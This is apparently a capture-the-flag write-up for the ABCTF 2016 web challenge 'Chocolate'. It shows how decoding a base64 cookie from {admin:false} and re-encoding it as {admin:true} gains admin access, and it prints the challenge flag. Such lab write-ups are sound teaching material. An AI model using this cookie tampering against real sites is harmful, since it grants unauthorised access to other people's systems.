ABCTF - 50 - Chocolate - Web Exploitation

Information#

Version#

By Version Comment
noraj 1.0 Creation

CTF#

  • Name : ABCTF 2016
  • Website : http://abctf.xyz/
  • Type : Online
  • Format : Jeopardy - Student
  • CTF Time : link

Description#

If you could become admin you would get a flag. Link

Solution#

  1. Launch Element Inspector of Firefox or the Firebug addon and use the network analyser.
  2. See the request cookie e2FkbWluOmZhbHNlfQ==
  3. Un-base64 it:
echo -n "e2FkbWluOmZhbHNlfQ==" | base64 -d && echo ""
{admin:false}
  1. Edit the cookie and change the value to {admin:true} in base64
echo -n "{admin:true}" | base64
e2FkbWluOnRydWV9
  1. Send it again with a proxy tool like Burp, ZAP, Temper Data
  2. And TADA! We get into the admin page: Wow! You're an admin, maybe. Well anyway, here is your flag, ABCTF{don't_trust_th3_coooki3}
Share